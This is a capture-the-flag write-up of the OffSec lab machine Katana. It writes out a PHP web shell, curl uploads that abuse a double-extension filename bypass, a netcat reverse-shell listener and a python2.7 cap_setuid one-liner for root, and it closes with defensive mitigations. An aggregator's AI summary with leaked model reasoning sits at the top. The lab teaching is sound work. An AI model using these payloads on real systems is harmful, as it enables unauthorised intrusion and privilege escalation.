Katana — Double-Extension PHP Upload Bypass + python2.7 cap_setuid to Root | OffSec PG Play
嗯,用户让我总结一篇文章的内容,控制在100字以内,而且不需要特定的开头。首先,我需要仔细阅读这篇文章,了解它的主要内容。 看起来这篇文章讲的是一个叫做Katana的机器,它是一个多端口机器,隐藏了入口点。里面有五个服务开放,其中最重要的一个是8088端口的LiteSpeed。上传表单允许上传文件到另一个由nginx服务的目录。利用双扩展名绕过上传限制,上传PHP木马,然后在8715端口执行,获得www-data权限。接着通过Python的cap_setuid能力提升权限到root。 用户的需求是总结内容,所以我要抓住关键点:双扩展名上传、跨端口执行、提权到root。确保不超过100字,并且直接描述内容,不需要额外的开头。 现在把这些点组织成一句话:Katana是一台多端口机器,利用 LiteSpeed 上传表单中的双扩展名绕过限制,在 nginx 服务的目录中执行 PHP 木马,获得 www-data 权限,并通过 Python 的 cap_setuid 能力提升至 root。 </think> Katana是一台多端口机器,利用 LiteSpeed 上传表单中的双扩展名绕过限制,在 nginx 服务的目录中执行 PHP 木马,获得 www-data 权限,并通过 Python 的 cap_setuid 能力提升至 root。 2026-4-21 06:3:53 Author: infosecwriteups.com(查看原文) 阅读量:15 收藏

Roshan Rajbanshi

Katana is a multi-port machine that hides its entry point in plain sight. Five services are open, but the one that matters most is LiteSpeed on port 8088 — it hosts an unrestricted file upload form at upload.php. The trick is that uploaded files are silently moved to a directory served by a different web server: nginx on port 8715. Exploiting the mismatch requires understanding how LiteSpeed handles double-extension filenames: a file named shell.jpg.php is treated as a PHP file by LiteSpeed during processing, but accepted by the upload form because the filename ends with .jpg.php, not .php alone. Upload the shell, trigger it on port 8715, and a www-data shell lands. Privilege escalation requires no guesswork — getcap immediately surfaces /usr/bin/python2.7 with cap_setuid+ep. One line of Python sets the UID to 0 and drops into root.

Press enter or click to view image in full size

Attack Path: upload.php (double-extension bypass) → shell.jpg.php → RCE as www-data (port 8715)python2.7 cap_setuid capability → os.setuid(0) (root)

Platform: OffSec Proving Grounds Play
Machine: Katana
Difficulty: Easy
OS: Linux (Debian 10)
Date: 2026–04–01

Table of Contents

1. Reconnaissance
1.1 Nmap Port Scan
1.2 Web Enumeration — Port 80
1.3 Web Enumeration — Port 8088 (LiteSpeed)
2. Initial Access — Double-Extension PHP Upload via Port 8088
2.1 Discovering upload.php
2.2 The Cross-Port Upload Mechanic
2.3 Uploading the Web Shell (shell.jpg.php)
2.4 Confirming RCE via Port 8715
2.5 Upgrading to a Reverse Shell
3. Privilege Escalation — python2.7 cap_setuid Capability
4. Proof of Compromise
5. Vulnerability Summary
6. Defense & Mitigation
6.1 Unrestricted File Upload with Double-Extension Bypass
6.2 Uploaded Files Served by a Second Web Server Without Execution Controls
6.3 python2.7 Granted cap_setuid+ep Capability

1. Reconnaissance

1.1 Nmap Port Scan

nmap -Pn -A -p- --open <TARGET_IP>

Results:

Port     State  Service  Version
------- ----- ------- -----------------------------------------------
21/tcp open FTP vsftpd 3.0.3
22/tcp open SSH OpenSSH 7.9p1 Debian 10+deb10u2
80/tcp open HTTP Apache httpd 2.4.38 (Debian) — "Katana X"
7080/tcp open HTTPS LiteSpeed (TLS, expired cert 2020–2022)
8088/tcp open HTTP LiteSpeed — "Katana X", phpinfo.php present
8715/tcp open HTTP nginx 1.14.2 — returns 401 Unauthorized

Six ports. FTP, SSH, Apache on 80, LiteSpeed on both 7080 and 8088, and nginx on 8715, returning a 401. The expired TLS certificate on 7080 is immediately suspicious — it was valid only until May 2022, a strong indicator that this server has not been maintained. The presence of phpinfo.php on port 8088 is the most useful early signal: it confirms PHP is active on LiteSpeed. The nginx 401 on 8715 is worth noting — authentication required suggests something is being protected there.

FTP on 21 turned out to accept no anonymous login and had nothing useful. The web servers are where the story unfolds.

1.2 Web Enumeration — Port 80

gobuster dir -u http://<TARGET_IP>/ -w /usr/share/dirb/wordlists/common.txt

Results:

Path      Status  Notes
-------- ------ ----------------------------
/ebook 301 Redirects to /ebook/
/index.html 200 Static landing page

Port 80 is a dead end. The /ebook/ directory contains a static book listing with no upload functionality and no dynamic content. Everything interesting is on the LiteSpeed instance.

1.3 Web Enumeration — Port 8088 (LiteSpeed)

gobuster dir -u http://<TARGET_IP>:8088 \
-w /usr/share/dirb/wordlists/common.txt \
-x php,txt,html

Results:

Path         Status  Notes
----------- ------ ----------------------------
/phpinfo.php 200 Full PHP configuration dump
/upload.php 200 File upload handler
/upload.html 200 Upload form — two file inputs
/protected 301 Access restricted
/cgi-bin 301 Present

Press enter or click to view image in full size

upload.php and upload.html are the targets. phpinfo.php Being publicly accessible is a secondary finding — it exposes the full PHP configuration, version details, loaded modules, and file system paths to any visitor.

2. Initial Access — Double-Extension PHP Upload via Port 8088

2.1 Discovering upload.php

curl -s http://<TARGET_IP>:8088/upload.html | grep -iE "form|input|type=\"file\""

Output:

<form id="upload" action="upload.php" target="resultwindow" method="post" enctype="multipart/form-data">
<input type="file" name="file1" />
<input type="file" name="file2" />
<p><input type="submit" /></p>
</form>

Press enter or click to view image in full size

The form accepts two file uploads simultaneously, posts to upload.php, and opens the response in a target window named resultwindow. No client-side validation is visible. The next question is what the server does with uploaded files.

2.2 The Cross-Port Upload Mechanic

Uploading a test file to upload.php and reading the server's response reveals the mechanism:

File : file1
Name : shell.jpg.php
Type : application/octet-stream
Path : /tmp/phpffPBAt
Size : 31
Moved to other web server: /tmp/phpffPBAt ===> /opt/manager/html/katana_shell.jpg.php
MD5 : fc023fcacb27a7ad72d605c4e300b389
Size : 31 bytes

The upload handler on port 8088 (LiteSpeed) receives the file and then moves it to /opt/manager/html/ the document root of a different web server. That path is served by nginx on port 8715. The file is accessible at:

http://<TARGET_IP>:8715/katana_shell.jpg.php

This cross-port mechanic is the critical insight. The upload accepts and processes files on port 8088, but execution happens on port 8715. Any file placed in /opt/manager/html/ with a PHP-executable extension will be served — and executed — by nginx on port 8715.

💡 The double-extension filename shell.jpg.php is the extension bypass. The upload handler sees .jpg.php and either does not validate extensions strictly or treats the last segment as the MIME hint. LiteSpeed executes it as PHP because the true final extension is .php. This is a classic double-extension bypass.

2.3 Uploading the Web Shell (shell.jpg.php)

Create the web shell locally:

echo '<?php system($_GET["cmd"]); ?>' > shell.jpg.php

Upload it via curl:

curl -X POST http://<TARGET_IP>:8088/upload.php \
-F "[email protected]" \
-F "submit=Submit"

Press enter or click to view image in full size

The response confirms the file was accepted and moved to /opt/manager/html/katana_shell.jpg.php on the server.

2.4 Confirming RCE via Port 8715

curl "http://<TARGET_IP>:8715/katana_shell.jpg.php?cmd=id"

Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Remote code execution confirmed as www-data. The shell is live on port 8715 and executing system commands. The upload form on port 8088 fed the shell to the nginx-served directory, and nginx on 8715 executed it without restriction.

2.5 Upgrading to a Reverse Shell

Create a pentestmonkey PHP reverse shell, save it as rev.jpg.php, and upload it the same way:

curl -X POST http://<TARGET_IP>:8088/upload.php \
-F "[email protected]" \
-F "submit=Submit"

Start the listener:

nc -lvnp 4444

Trigger the uploaded reverse shell:

curl "http://<TARGET_IP>:8715/katana_rev.jpg.php"

Shell received:

Connection received on <TARGET_IP> 52900
www-data@katana:/opt/manager/html$

Interactive shell as www-data.

3. Privilege Escalation — python2.7 cap_setuid Capability

Linux capabilities allow fine-grained privilege delegation below the level of full SUID. Rather than making a binary run as root, capabilities grant specific kernel-level privileges to a process. cap_setuid is one of the most dangerous: it allows a process to call setuid() to change its own UID to any value — including 0.

getcap -r / 2>/dev/null

Output:

/usr/bin/ping = cap_net_raw+ep
/usr/bin/python2.7 = cap_setuid+ep

/usr/bin/python2.7 has cap_setuid+ep. The +ep suffix means the capability is both permitted and effective — it activates immediately when the binary runs, no special invocation needed. This is equivalent in effect to a SUID bit, but applied at the capability level rather than the file permission level.

Get Roshan Rajbanshi’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

One line of Python calls os.setuid(0) to set the process UID to root, then drops into a bash shell:

/usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash")'

Output:

id
uid=0(root) gid=33(www-data) groups=33(www-data)

Press enter or click to view image in full size

Root. The GID remains www-data — only the UID was changed — but uid=0 is sufficient for full system access.

4. Proof of Compromise

uid=0(root) gid=33(www-data) groups=33(www-data)

5. Vulnerability Summary

#   Vulnerability                                    Severity   Impact
-- ----------------------------------------------- --------- -----------------------------------------------
1 Unrestricted file upload — double-extension bypass Critical PHP web shell uploaded and executed as www-data
2 Uploaded files served without execution controls Critical Shell moved to nginx root and executed on port 8715
3 phpinfo.php publicly accessible Medium Full PHP config and paths exposed unauthenticated
4 python2.7 granted cap_setuid+ep capability Critical Local privilege escalation to uid=0 (root)

6. Defense & Mitigation

6.1 Unrestricted File Upload with Double-Extension Bypass

Root Cause: The upload.php handler on port 8088 accepted files with double-extension names like shell.jpg.php. The server treated the final extension (.php) as the execution type, while the upload handler either failed to validate extensions strictly or was bypassed by the double-extension trick. The result was arbitrary PHP code uploaded and made executable.

Mitigations:

  • Validate file extensions server-side using a strict allowlist. The only safe approach is to define which extensions are permitted and reject everything else. Never rely on the final extension alone — strip all extensions and check the cleaned result against the allowlist.
$allowed = ['jpg', 'jpeg', 'png', 'gif'];
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
if (!in_array($ext, $allowed, true)) {
die("File type not permitted.");
}
  • Validate file content using magic bytes, not just extension. An attacker can name any file with any extension. Use finfo_file() to check the actual MIME type based on the file's binary content, and reject anything that does not match the expected type.
  • Rename uploaded files on the server. Never preserve the original filename. Store files under a random UUID with no extension, and track the original name in a database. A file with no extension cannot be executed by any web server.
  • Remove phpinfo.php from all publicly accessible locations. The full PHP configuration dump it returns — including file system paths, loaded extensions, and server variables — is reconnaissance gold for an attacker. It has no place on a production server.

6.2 Uploaded Files Served by a Second Web Server Without Execution Controls

Root Cause: Files uploaded to port 8088 (LiteSpeed) were moved to /opt/manager/html/, which was the document root of a separate nginx instance on port 8715. Nginx served these files with no restriction on PHP execution. An uploaded PHP file was therefore immediately executable via port 8715 without any further bypass required.

Mitigations:

  • Never store uploaded files in any web-served directory. Uploaded files belong in a directory outside the web root — a path that no web server can reach directly. Serve files to users through a controller script that reads from storage and streams the content, never by direct URL access.
  • If files must be served directly, disable script execution in the upload directory. Configure nginx to serve that path as static content only:
location /uploads/ {
add_header Content-Type application/octet-stream;
try_files $uri =404;
}
  • This prevents nginx from passing uploaded files to PHP-FPM or any other execution backend.
  • Understand the full data flow of uploaded files before deploying any upload feature. In this case, the LiteSpeed upload handler on port 8088 silently moved files to a directory served by a completely different server on port 8715. That cross-port movement was invisible from the LiteSpeed side and created a blind spot in any security review. Map the entire path a file takes from upload to final rest before going live.
  • Isolate web server instances from each other’s document roots. Two separate web servers should never share a writable document root. Each server’s files should be owned and accessible only by that server’s process user.

6.3 python2.7 Granted cap_setuid+ep Capability

Root Cause: /usr/bin/python2.7 was granted the cap_setuid+ep Linux capability, allowing any process that executes it to call setuid() with any UID — including 0. Because Python can run arbitrary code, this is functionally equivalent to a SUID root binary.

Mitigations:

  • Remove the capability immediately.
setcap -r /usr/bin/python2.7
  • Verify:
getcap /usr/bin/python2.7# (no output - capability removed)
  • Audit all binaries with elevated capabilities.
getcap -r / 2>/dev/null
  • Any capability on a scripting language, interpreter, or shell is a critical finding. Capabilities are designed for specific, narrow binaries — not general-purpose tools.
  • Retire Python 2.7. Python 2 reached end-of-life in January 2020 and receives no security updates. Running it in a production environment in 2026 is indefensible. Migrate to Python 3. If a capability is genuinely required for a specific Python task, apply it to a purpose-built script, not to the interpreter binary itself.
  • Understand the difference between SUID and capabilities. A capability like cap_setuid+ep is not visible in a standard ls -la listing — it does not set the SUID bit. It will not be caught by find / -perm -u=s. Capability auditing requires getcap and should be a standard part of every privilege escalation enumeration checklist, alongside SUID binaries, writable cron jobs, and sudo rules.
  • Include capabilities in file integrity monitoring baselines. aide and tripwire can be configured to track extended attributes, including capabilities. Any unexpected capability addition to a binary should generate an immediate alert.

OffSec PG Play — for educational purposes only.


文章来源: https://infosecwriteups.com/katana-double-extension-php-upload-bypass-python2-7-cap-setuid-to-root-offsec-pg-play-78563ca1ae3a?source=rss----7b722bfd1b8d---4
如有侵权请联系:admin#unsafe.sh